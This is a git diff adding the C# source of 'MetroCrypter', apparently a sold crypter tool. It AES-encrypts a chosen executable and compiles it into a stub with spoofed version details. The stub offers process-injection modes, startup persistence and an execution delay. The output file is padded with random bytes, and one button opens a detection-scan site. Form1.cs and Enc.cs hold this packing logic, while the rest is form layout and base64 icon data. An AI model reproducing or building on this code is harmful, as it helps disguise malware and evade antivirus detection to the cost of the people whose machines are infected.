"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWKYZ1234567890"; + str = string.Concat(str, str.ToUpper()); + string str1 = ""; + Random random = new Random(); + for (int i = 0; i < length; i++) + { + char chr = str[random.Next(0, str.Length)]; + str1 = string.Concat(str1, chr.ToString()); + } + return str1; + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + if (m.Msg == 132) + { + m.Result = (IntPtr)2; + } + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Assembly.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Assembly.resx new file mode 100644 index 0000000..103712f --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Assembly.resx @@ -0,0 +1,140 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAAIpJREFUSEvt + kEEKgzAQAJOD/2qLID30L2Kfob5CCqVfaUufFCfLGmqPTUAPOzDEzeRg4gzD2BkhBI8XvOrqNQm5fTnw + wCcO+MI7ysG44t9dYDhrqHSu8INNiS4wxCv2OgrMI3b6ndUFhhrf+PsnpxI9wcYNv9900iTk9gThiC0e + dGtFbjcMY1OcmwH/J3CMIo+FLwAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABkAAAAZCAYAAADE6YVjAAAABGdBTUEAALGPC/xhBQAAASJJREFUSEvt + lbtKxFAURdNON4qOaGM7rd+q/sAU8y8+KkXQ/xDEKq4V9wUxY8ydpJwFm0vOOftsyIM0B/ambdsFukan + KVWBbxX/IqU+NG+RPKGqIOYNeNYMNyn3oblE991Y276hi7QGcS7zcoeWae3GATQ6yH7mRN9wQMHBGOTP + IOvpy/iAgoYYpRfkdepSH1DQmAXyirogTzQ9oOCCLBKDrtB8AQUXoQe3wmfO+QIKLFyjD7fnXKc1Dyz8 + +Qzec3rrzjMyDRb9fsiXqNy66UEs2PkWeaLpQRgHX1Ov0f5BGEZ9B9SPUH0Qg6MCCvTrghgwwEH5N6DA + nEGPmmA4iOa2G/v+L6xSHgXzZ+hFM2xS7kPzBBlUFVDAZ5D+45QO1NI0X5iLShm3Ctw+AAAAAElFTkSu + QmCC + + + \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Enc.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Enc.cs new file mode 100644 index 0000000..f3e6ed8 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Enc.cs @@ -0,0 +1,63 @@ +using System; +using System.IO; +using System.Security.Cryptography; + +namespace MetroCrypter +{ + public class Enc + { + public Enc() + { + } + + public static byte[] AESDecrypt(byte[] decrypted, byte[] key2) + { + byte[] array = null; + byte[] numArray = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; + using (MemoryStream memoryStream = new MemoryStream()) + { + using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) + { + rijndaelManaged.KeySize = 256; + rijndaelManaged.BlockSize = 128; + Rfc2898DeriveBytes rfc2898DeriveByte = new Rfc2898DeriveBytes(key2, numArray, 1000); + rijndaelManaged.Key = rfc2898DeriveByte.GetBytes(rijndaelManaged.KeySize / 8); + rijndaelManaged.IV = rfc2898DeriveByte.GetBytes(rijndaelManaged.BlockSize / 8); + rijndaelManaged.Mode = CipherMode.CBC; + using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Write)) + { + cryptoStream.Write(decrypted, 0, (int)decrypted.Length); + cryptoStream.Close(); + } + array = memoryStream.ToArray(); + } + } + return array; + } + + public static byte[] AESEncrypt(byte[] encrypt, byte[] key2) + { + byte[] array = null; + byte[] numArray = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; + using (MemoryStream memoryStream = new MemoryStream()) + { + using (RijndaelManaged rijndaelManaged = new RijndaelManaged()) + { + rijndaelManaged.KeySize = 256; + rijndaelManaged.BlockSize = 128; + Rfc2898DeriveBytes rfc2898DeriveByte = new Rfc2898DeriveBytes(key2, numArray, 1000); + rijndaelManaged.Key = rfc2898DeriveByte.GetBytes(rijndaelManaged.KeySize / 8); + rijndaelManaged.IV = rfc2898DeriveByte.GetBytes(rijndaelManaged.BlockSize / 8); + rijndaelManaged.Mode = CipherMode.CBC; + using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write)) + { + cryptoStream.Write(encrypt, 0, (int)encrypt.Length); + cryptoStream.Close(); + } + array = memoryStream.ToArray(); + } + } + return array; + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Form1.Designer.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Form1.Designer.cs new file mode 100644 index 0000000..0ec3c6c --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Form1.Designer.cs @@ -0,0 +1,48 @@ +namespace MetroCrypter +{ + partial class Form1 + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.SuspendLayout(); + // + // Form1 + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(350, 277); + this.Name = "Form1"; + this.Text = "Form1"; + this.Load += new System.EventHandler(this.Form1_Load); + this.ResumeLayout(false); + + } + + #endregion + } +} + diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Form1.cs b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Form1.cs new file mode 100644 index 0000000..ce682e0 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Form1.cs @@ -0,0 +1,656 @@ +using MetroCrypter.Forms; +using MetroCrypter.Properties; +using MetroCrypter.Resources; +using MetroFramework.Components; +using System; +using System.ComponentModel; +using System.Diagnostics; +using System.Drawing; +using System.IO; +using System.Resources; +using System.Runtime.CompilerServices; +using System.Security.Cryptography; +using System.Text; +using System.Windows.Forms; + +namespace MetroCrypter +{ + public class Form1 : Form + { + private Options op; + + private ProfileDialog PD; + + private Assembly ass; + + private MetroCrypter.Forms.Binding Bnd; + + private const int WM_NCHITTEST = 132; + + private const int HT_CLIENT = 1; + + private const int HT_CAPTION = 2; + + private IContainer components = null; + + private Button BindButton; + + private Button AssemblyButton; + + private Button OptionsButton; + + private Button CryptButton; + + private Button button3; + + private Button button1; + + private Button button2; + + private Label CryptedState; + + private MetroToolTip metroToolTip1; + + private Button button5; + + private Button button6; + + public Form1() + { + LicenseGlobal.Seal.Initialize("F86E0000"); + MessageBox.Show("By opening this software you agree to the Terms of service\nyou read when you bought this software.", "Terms of service."); + Form1.CID.fpreply = false; + Form1.CID.startupreply = false; + Form1.CID.PDreply = false; + Form1.CID.tmreply = false; + Form1.CID.fmreply = false; + Form1.CID.fpreply = false; + Form1.CID.BindReply = false; + this.InitializeComponent(); + } + + public void _Pump(string file, int amount, bool random) + { + FileStream fileStream = new FileStream(file, FileMode.Append, FileAccess.Write); + byte[] numArray = new byte[amount]; + if (random) + { + (new Random()).NextBytes(numArray); + } + fileStream.Write(numArray, 0, amount); + fileStream.Close(); + } + + private void AssemblyButton_Click(object sender, EventArgs e) + { + this.ass = new Assembly(); + this.ass.ShowDialog(); + } + + private void BindButton_Click(object sender, EventArgs e) + { + this.Bnd = new MetroCrypter.Forms.Binding(); + this.Bnd.ShowDialog(); + } + + private void button1_Click(object sender, EventArgs e) + { + Application.Exit(); + } + + private void button2_Click(object sender, EventArgs e) + { + base.WindowState = FormWindowState.Minimized; + } + + private void button2_Click_1(object sender, EventArgs e) + { + base.WindowState = FormWindowState.Minimized; + } + + private void button3_Click(object sender, EventArgs e) + { + this.PD = new ProfileDialog(); + this.PD.ShowDialog(); + } + + private void button5_Click(object sender, EventArgs e) + { + Process.Start(new ProcessStartInfo("https://www.pscan.xyz/")); + } + + private void button6_Click(object sender, EventArgs e) + { + MessageBox.Show("Made by : RyanAllen HF \nAll Rights Reserved"); + } + + private static void CombineMultipleFilesIntoSingleFile(string inputDirectoryPath, string inputFileNamePattern, string outputFilePath) + { + string[] files = Directory.GetFiles(inputDirectoryPath, inputFileNamePattern); + using (FileStream fileStream = File.Create(outputFilePath)) + { + string[] strArrays = files; + for (int i = 0; i < (int)strArrays.Length; i++) + { + using (FileStream fileStream1 = File.OpenRead(strArrays[i])) + { + fileStream1.CopyTo(fileStream); + } + } + } + } + + private void CryptButton_Click(object sender, EventArgs e) + { + bool flag; + if (string.IsNullOrEmpty(Form1.CID.filename)) + { + MessageBox.Show("No stub found"); + } + else if (string.IsNullOrEmpty(Form1.CID.ijtype)) + { + MessageBox.Show("Please set an injection type"); + } + else if ((string.IsNullOrEmpty(Form1.CID.title) ? false : !string.IsNullOrEmpty(Form1.CID.version))) + { + SaveFileDialog saveFileDialog = new SaveFileDialog() + { + Filter = "Executable Files|*.exe", + InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + }; + if (saveFileDialog.ShowDialog() == System.Windows.Forms.DialogResult.OK) + { + string str = MetroCrypter.Properties.Resources.thegoofstuff; + str = str.Replace("[_ccc]", Form1.CID.title); + str = str.Replace("[_ppopop]", Form1.CID.company); + str = str.Replace("[_pbo]", Form1.CID.product); + str = str.Replace("[_t]", Form1.CID.copyright); + str = str.Replace("[_codebranch]", Form1.CID.trademark); + str = str.Replace("[_ddd", Form1.CID.description); + str = str.Replace("[_junk]", Form1.CID.version); + str = str.Replace("[_extramoney]", Form1.CID.fversion); + if (Form1.CID.startupreply) + { + str = str.Replace("[_IsStartupCompany]", "[Ver]"); + str = str.Replace("[_RegisteredName]", Form1.CID.Sfilename); + str = str.Replace("[_RegisteredF]", Form1.CID.FolderName); + } + if (Form1.CID.ijtype != "Itself") + { + str = (Form1.CID.ijtype != "Applaunch" ? str.Replace("[_ijto]", "[_CMD]") : str.Replace("[_ijto]", "[_APP]")); + } + else + { + str = str.Replace("[_ijto]", "[_IS]"); + } + string str1 = this.RandomString(300); + str = str.Replace("[_key-replace011]", str1); + byte[] numArray = File.ReadAllBytes(Form1.CID.filename); + string base64String = Convert.ToBase64String(numArray); + byte[] bytes = Encoding.UTF8.GetBytes(base64String); + byte[] bytes1 = Encoding.UTF8.GetBytes(str1); + bytes1 = SHA256.Create().ComputeHash(bytes1); + byte[] numArray1 = Enc.AESEncrypt(bytes, bytes1); + if (Form1.CID.delay != string.Empty) + { + str = str.Replace("[_xx]", Form1.CID.delay); + } + if ((Form1.CID.delay == "") | Form1.CID.delay == null) + { + str = str.Replace("[_xx]", "0"); + } + string str2 = Path.Combine(Application.StartupPath, "Encrypted.resources"); + using (ResourceWriter resourceWriter = new ResourceWriter(str2)) + { + resourceWriter.AddResource("enc", numArray1); + resourceWriter.Generate(); + } + flag = (!File.Exists(Form1.CID.iconame) ? Compiler.CompileFromSource(str, saveFileDialog.FileName, null, new string[] { str2 }) : Compiler.CompileFromSource(str, saveFileDialog.FileName, Form1.CID.iconame, new string[] { str2 })); + if (flag) + { + if (!Form1.CID.fpreply) + { + this._Pump(saveFileDialog.FileName, int.Parse(this.RandomNumber(2)) * 8 * 124, true); + } + else + { + this._Pump(saveFileDialog.FileName, int.Parse(Form1.CID.txtPump) * 8 * 124, true); + } + MessageBox.Show("Stub Formed"); + } + } + } + else + { + MessageBox.Show("You haven't entered the assembly"); + } + } + + protected override void Dispose(bool disposing) + { + if ((!disposing ? false : this.components != null)) + { + this.components.Dispose(); + } + base.Dispose(disposing); + } + + private void Form1_Load(object sender, EventArgs e) + { + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof(Form1)); + this.BindButton = new Button(); + this.AssemblyButton = new Button(); + this.OptionsButton = new Button(); + this.CryptButton = new Button(); + this.button3 = new Button(); + this.button1 = new Button(); + this.button2 = new Button(); + this.CryptedState = new Label(); + this.metroToolTip1 = new MetroToolTip(); + this.button5 = new Button(); + this.button6 = new Button(); + base.SuspendLayout(); + this.BindButton.BackColor = Color.FromArgb(64, 71, 77); + this.BindButton.FlatAppearance.BorderSize = 0; + this.BindButton.FlatAppearance.MouseOverBackColor = Color.FromArgb(85, 94, 102); + this.BindButton.FlatStyle = FlatStyle.Flat; + this.BindButton.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.BindButton.Image = (Image)componentResourceManager.GetObject("BindButton.Image"); + this.BindButton.Location = new Point(438, 31); + this.BindButton.Name = "BindButton"; + this.BindButton.Size = new System.Drawing.Size(100, 86); + this.BindButton.TabIndex = 13; + this.BindButton.TabStop = false; + this.BindButton.TextAlign = ContentAlignment.BottomCenter; + this.BindButton.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.BindButton, "Binding (Currently Disabled)"); + this.BindButton.UseVisualStyleBackColor = false; + this.BindButton.Click += new EventHandler(this.BindButton_Click); + this.AssemblyButton.BackColor = Color.FromArgb(64, 71, 77); + this.AssemblyButton.FlatAppearance.BorderColor = Color.White; + this.AssemblyButton.FlatAppearance.BorderSize = 0; + this.AssemblyButton.FlatAppearance.MouseOverBackColor = Color.FromArgb(85, 94, 102); + this.AssemblyButton.FlatStyle = FlatStyle.Flat; + this.AssemblyButton.Image = (Image)componentResourceManager.GetObject("AssemblyButton.Image"); + this.AssemblyButton.Location = new Point(438, 122); + this.AssemblyButton.Name = "AssemblyButton"; + this.AssemblyButton.Size = new System.Drawing.Size(100, 86); + this.AssemblyButton.TabIndex = 14; + this.AssemblyButton.TabStop = false; + this.AssemblyButton.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.AssemblyButton, "Assembly"); + this.AssemblyButton.UseVisualStyleBackColor = false; + this.AssemblyButton.Click += new EventHandler(this.AssemblyButton_Click); + this.OptionsButton.BackColor = Color.FromArgb(85, 94, 102); + this.OptionsButton.FlatAppearance.BorderSize = 0; + this.OptionsButton.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.OptionsButton.FlatStyle = FlatStyle.Flat; + this.OptionsButton.Font = new System.Drawing.Font("Source Code Pro", 12f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.OptionsButton.Image = (Image)componentResourceManager.GetObject("OptionsButton.Image"); + this.OptionsButton.Location = new Point(226, 31); + this.OptionsButton.Name = "OptionsButton"; + this.OptionsButton.Size = new System.Drawing.Size(206, 179); + this.OptionsButton.TabIndex = 18; + this.OptionsButton.TabStop = false; + this.OptionsButton.TextAlign = ContentAlignment.BottomCenter; + this.OptionsButton.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.OptionsButton, "Options"); + this.OptionsButton.UseVisualStyleBackColor = false; + this.OptionsButton.Click += new EventHandler(this.OptionsButton_Click); + this.CryptButton.BackColor = Color.FromArgb(85, 94, 102); + this.CryptButton.FlatAppearance.BorderSize = 0; + this.CryptButton.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.CryptButton.FlatStyle = FlatStyle.Flat; + this.CryptButton.Font = new System.Drawing.Font("Source Code Pro", 12f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.CryptButton.Image = (Image)componentResourceManager.GetObject("CryptButton.Image"); + this.CryptButton.Location = new Point(14, 31); + this.CryptButton.Name = "CryptButton"; + this.CryptButton.Size = new System.Drawing.Size(206, 179); + this.CryptButton.TabIndex = 17; + this.CryptButton.TabStop = false; + this.CryptButton.TextAlign = ContentAlignment.BottomCenter; + this.CryptButton.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.CryptButton, "Crypt"); + this.CryptButton.UseVisualStyleBackColor = false; + this.CryptButton.Click += new EventHandler(this.CryptButton_Click); + this.button3.BackColor = Color.Transparent; + this.button3.FlatAppearance.BorderColor = Color.FromArgb(64, 71, 77); + this.button3.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button3.FlatStyle = FlatStyle.Flat; + this.button3.Font = new System.Drawing.Font("Arial", 9f, FontStyle.Bold, GraphicsUnit.Point, 0); + this.button3.Location = new Point(438, -2); + this.button3.Name = "button3"; + this.button3.Size = new System.Drawing.Size(100, 24); + this.button3.TabIndex = 25; + this.button3.TabStop = false; + this.button3.Text = "PROFILE"; + this.button3.TextAlign = ContentAlignment.BottomCenter; + this.button3.TextImageRelation = TextImageRelation.ImageAboveText; + this.button3.UseVisualStyleBackColor = false; + this.button3.Click += new EventHandler(this.button3_Click); + this.button1.BackColor = Color.FromArgb(33, 35, 38); + this.button1.BackgroundImage = (Image)componentResourceManager.GetObject("button1.BackgroundImage"); + this.button1.BackgroundImageLayout = ImageLayout.Center; + this.button1.FlatAppearance.BorderSize = 0; + this.button1.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button1.FlatStyle = FlatStyle.Flat; + this.button1.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button1.Location = new Point(614, -5); + this.button1.Name = "button1"; + this.button1.Size = new System.Drawing.Size(29, 42); + this.button1.TabIndex = 23; + this.button1.TabStop = false; + this.button1.TextAlign = ContentAlignment.BottomCenter; + this.button1.TextImageRelation = TextImageRelation.ImageAboveText; + this.button1.UseVisualStyleBackColor = false; + this.button1.Click += new EventHandler(this.button1_Click); + this.button2.BackColor = Color.FromArgb(33, 35, 38); + this.button2.BackgroundImage = (Image)componentResourceManager.GetObject("button2.BackgroundImage"); + this.button2.BackgroundImageLayout = ImageLayout.Center; + this.button2.Cursor = Cursors.Default; + this.button2.FlatAppearance.BorderSize = 0; + this.button2.FlatAppearance.MouseOverBackColor = Color.FromArgb(64, 71, 77); + this.button2.FlatStyle = FlatStyle.Flat; + this.button2.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button2.Location = new Point(589, -5); + this.button2.Name = "button2"; + this.button2.Size = new System.Drawing.Size(28, 56); + this.button2.TabIndex = 27; + this.button2.TabStop = false; + this.button2.TextAlign = ContentAlignment.BottomCenter; + this.button2.TextImageRelation = TextImageRelation.ImageAboveText; + this.button2.UseVisualStyleBackColor = false; + this.button2.Click += new EventHandler(this.button2_Click_1); + this.CryptedState.AutoSize = true; + this.CryptedState.Font = new System.Drawing.Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.CryptedState.Location = new Point(17, 5); + this.CryptedState.Name = "CryptedState"; + this.CryptedState.Size = new System.Drawing.Size(93, 20); + this.CryptedState.TabIndex = 30; + this.CryptedState.Text = "File Crypted"; + this.CryptedState.Visible = false; + this.metroToolTip1.set_Style(4); + this.metroToolTip1.set_StyleManager(null); + this.metroToolTip1.set_Theme(1); + this.button5.BackColor = Color.FromArgb(64, 71, 77); + this.button5.FlatAppearance.BorderSize = 0; + this.button5.FlatAppearance.MouseOverBackColor = Color.FromArgb(85, 94, 102); + this.button5.FlatStyle = FlatStyle.Flat; + this.button5.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button5.Image = (Image)componentResourceManager.GetObject("button5.Image"); + this.button5.Location = new Point(543, 31); + this.button5.Name = "button5"; + this.button5.Size = new System.Drawing.Size(100, 86); + this.button5.TabIndex = 32; + this.button5.TabStop = false; + this.button5.TextAlign = ContentAlignment.BottomCenter; + this.button5.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.button5, "Scan"); + this.button5.UseVisualStyleBackColor = false; + this.button5.Click += new EventHandler(this.button5_Click); + this.button6.BackColor = Color.FromArgb(64, 71, 77); + this.button6.FlatAppearance.BorderSize = 0; + this.button6.FlatAppearance.MouseOverBackColor = Color.FromArgb(85, 94, 102); + this.button6.FlatStyle = FlatStyle.Flat; + this.button6.Font = new System.Drawing.Font("Source Code Pro Light", 8.999999f, FontStyle.Regular, GraphicsUnit.Point, 0); + this.button6.Image = (Image)componentResourceManager.GetObject("button6.Image"); + this.button6.Location = new Point(543, 122); + this.button6.Name = "button6"; + this.button6.Size = new System.Drawing.Size(100, 86); + this.button6.TabIndex = 33; + this.button6.TabStop = false; + this.button6.TextAlign = ContentAlignment.BottomCenter; + this.button6.TextImageRelation = TextImageRelation.ImageAboveText; + this.metroToolTip1.SetToolTip(this.button6, "Information"); + this.button6.UseVisualStyleBackColor = false; + this.button6.Click += new EventHandler(this.button6_Click); + base.AutoScaleDimensions = new SizeF(6f, 13f); + base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = Color.FromArgb(33, 35, 38); + base.ClientSize = new System.Drawing.Size(658, 228); + base.Controls.Add(this.button6); + base.Controls.Add(this.button5); + base.Controls.Add(this.button3); + base.Controls.Add(this.CryptedState); + base.Controls.Add(this.OptionsButton); + base.Controls.Add(this.CryptButton); + base.Controls.Add(this.AssemblyButton); + base.Controls.Add(this.BindButton); + base.Controls.Add(this.button1); + base.Controls.Add(this.button2); + this.ForeColor = Color.White; + base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None; + base.Icon = (System.Drawing.Icon)componentResourceManager.GetObject("$this.Icon"); + this.MaximumSize = new System.Drawing.Size(658, 228); + base.Name = "Form1"; + base.StartPosition = FormStartPosition.CenterScreen; + this.Text = " "; + base.Load += new EventHandler(this.Form1_Load); + base.ResumeLayout(false); + base.PerformLayout(); + } + + private void OptionsButton_Click(object sender, EventArgs e) + { + this.op = new Options(); + this.op.ShowDialog(); + } + + public string RandomNumber(int _length) + { + string str = "0123456789"; + str = string.Concat(str, str.ToUpper()); + string str1 = ""; + Random random = new Random(); + for (int i = 0; i < _length; i++) + { + char chr = str[random.Next(0, str.Length)]; + str1 = string.Concat(str1, chr.ToString()); + } + return str1; + } + + private string RandomNumberarray(int _length) + { + string str = "0123456789"; + string str1 = ""; + Random random = new Random(); + for (int i = 0; i < _length; i++) + { + char chr = str[random.Next(0, str.Length)]; + str1 = string.Concat(str1, chr.ToString()); + } + return str1; + } + + public string RandomString(int length) + { + string str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWKYZ1234567890"; + str = string.Concat(str, str.ToUpper()); + string str1 = ""; + Random random = new Random(); + for (int i = 0; i < length; i++) + { + char chr = str[random.Next(0, str.Length)]; + str1 = string.Concat(str1, chr.ToString()); + } + return str1; + } + + protected override void WndProc(ref Message m) + { + base.WndProc(ref m); + if (m.Msg == 132) + { + m.Result = (IntPtr)2; + } + } + + public class CID + { + public static string binding + { + get; + set; + } + + public static bool BindReply + { + get; + set; + } + + public static string company + { + get; + set; + } + + public static string copyright + { + get; + set; + } + + public static string delay + { + get; + set; + } + + public static string description + { + get; + set; + } + + public static string filename + { + get; + set; + } + + public static bool fmreply + { + get; + set; + } + + public static string FolderName + { + get; + set; + } + + public static bool fpreply + { + get; + set; + } + + public static string fversion + { + get; + set; + } + + public static string iconame + { + get; + set; + } + + public static string ijtype + { + get; + set; + } + + public static string JunkScript + { + get; + set; + } + + public static string Message + { + get; + set; + } + + public static bool PDreply + { + get; + set; + } + + public static string product + { + get; + set; + } + + public static string RegistKey + { + get; + set; + } + + public static string Sfilename + { + get; + set; + } + + public static bool startupreply + { + get; + set; + } + + public static string title + { + get; + set; + } + + public static string Title + { + get; + set; + } + + public static bool tmreply + { + get; + set; + } + + public static string trademark + { + get; + set; + } + + public static string txtPump + { + get; + set; + } + + public static string version + { + get; + set; + } + + public CID() + { + } + } + } +} \ No newline at end of file diff --git a/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Form1.resx b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Form1.resx new file mode 100644 index 0000000..f9ed3d6 --- /dev/null +++ b/C# (MetroCrypterinf/Source/MetroCrypter/MetroCrypter/Form1.resx @@ -0,0 +1,791 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wH///8b////nf///5v///8V////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///85////rf7+/iP+/v4p////sf///yv///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///85////o////wv///8B////Af///xH///+r////Kf///wH///8B////Af// + /wH///8B////Af///wH+/v4b/v7+rf7+/gv///8B////Af///wH///8B////E////7H///8P////Af// + /wH///8B////Af///wH///8B/v7+pf///x3///8B////Af///33///+H////Af///wH///8t/v7+l/// + /wH///8B////Af///wH///8B/v7+S////2////8B////Af///wH///8n////K////wH///8B////Af// + /4H///87////Af///wH///8B////Af///6n+/v4L////Af///wH///8B/v7+Uf7+/lf///8B////Af// + /wH///8R////o////wH///8B////Af///yn///+H////Af///wH///8B////Af///4f///+T////Af// + /wH///8B////Af7+/pH+/v4f////Af///wH///9z////N////wH///8B////Af///wH///+H////k/// + /wH///8B////Af///wH///9B////a////wH///8B////n////wn///8B////Af///wH///8B////h/// + /5P///8B////Af///wH///8B////C////53///8B////Af///6X///8B////Af///wH///8B////Af// + /4f///+T////Af///wH///8B////Af///wH///+l////Af7+/gf+/v6f////Af///wH///8B////Af// + /wH///+H////k////wH///8B////Af///wH///8B////n/7+/gf///8L/v7+n////wP///8B////Af// + /wH///8B////D/7+/g////8B////Af///wH///8B////A////5////8J////Bf7+/o3///+n/v7+hf// + /yf///8B////Af///wH///8B////Af///wH///8n/v7+hf7+/qf///+N////Bf///wH///8B////Af7+ + /in///+L////of///zH///8B////Af///zH///+h////if///yn///8B////Af///wH///8B////Af// + /wH///8B////Af///xf+/v6H/v7+qf///6n///+H////F////wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af7+/h////+d////mf///xn///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wX+/v5j////7f7+/s/////V////5f// + /1H///8D////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8P/v7+n/////P+/v59////Cf7+ + /g3///+R////9f///4H///8H////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////F////73+/v7j/v7+Qf// + /wH///8B////Af///wP///9d////7////53///8L////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///xf+/v7H/v7+0/// + /yf///8B////Af///wH///8B////Af///wH+/v5B////6f///6P///8J////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8P////v/// + /9P///8f////Af///wH///8B////Af///wH///8B////Af///wH///85////6f7+/pf///8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /6P////h/v7+Jf///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH+/v5F////8/// + /3X///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH+/v5p////9////z3///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///9p////9////z3///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////J/////H///9x////Af///wH///8B////Af///wH///8R////0////9X///8j////Af// + /wH///8B////Af///wH///+h////2/7+/g////8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wX///+7/v7+wf///wX///8B////Af///wH///8B////Af///xX////3/v7++/// + /yv///8B////Af///wH///8B////Af///xH////h/v7+k////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B/v7+Vf////X///8t////Af///wH///8B////Af///wH///8B////C/// + /4////+R/v7+Ff///wH///8B////Af///wH///8B////Af7+/lH////1/v7+M////wH///8B////Af// + 